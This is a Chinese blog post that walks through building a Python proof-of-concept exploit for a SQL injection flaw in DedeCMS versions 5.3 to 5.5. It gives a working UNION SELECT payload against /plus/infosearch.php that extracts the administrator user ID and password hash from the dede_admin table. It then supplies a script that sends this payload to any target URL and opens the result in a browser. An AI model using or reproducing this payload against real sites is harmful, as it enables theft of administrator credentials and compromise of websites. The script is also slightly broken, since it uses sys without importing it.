发现该POC是发送的GET请求,也就是GET注入,payload为/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23
验证:
然后POC思路呢就出来了
1.可以直接调用浏览器打开带了POC的url//选写:还可以用浏览器控件打开在获取账号与密码元素的innerText
2.发送HTTP Request获取Response的Stream,把byte转成string之后,该怎么匹配怎么匹配
这里就选择最简单的一个POC实现//选1
实现:在获取到输入的url之后加上我们的payload之后,发送GET请求之后,返回响应的状态码应该要为200否则我们认为该站点不存在该0day,状态码返回正确 urllib 库
我们在调用浏览器打开,然后我们还需要用到 webbrowser 库
OK思路理好,然后开始写
首先定义简体中文编码
#! /usr/bin/env python
# coding=utf-8
导入需要用到的类库
import urllib
import webbrowser
定义一个函数输出信息,可以用作提示信息或者欢迎界面啥的
def welcome():
print("description:\n\tdedecmsV5.3-V5.5 0day Poc\n\tIf the 0day exists, I will call your default browser to open the URL with the payload\n\tTerms of Use:\n\t\t*.py -u dedems root directory address\n\t\t*.py -u https://www.google.com\n")
在定义一个方法用来执行功能部分
def main():
try:
if len(sys.argv) == 3 and sys.argv[1].lower() == '-u':
host=sys.argv[-1]
status_code=urllib.urlopen(host).getcode()
if status_code == 200:
host=sys.argv[-1]+"/plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23"
status_code=urllib.urlopen(host).getcode()
if status_code == 200:
webbrowser.open_new(host)
else:
print("The vulnerability does not exist")
else:
print("The target is not in the state!")
except:
print('Terms of Use:*.py -u https://www.google.com')
最后调用
if __name__ == '__main__':
welcome()
main()
完全OJBK,还有一个问题,某些404或者其他状态码自定义的 200可能会导致认为存在的页面调用浏览器打开,点到为止,差不多得了,咳咳
标签:__,200,实战篇,code,0day,POC,host,Poc
来源: https://www.cnblogs.com/V-Sec/p/12042053.html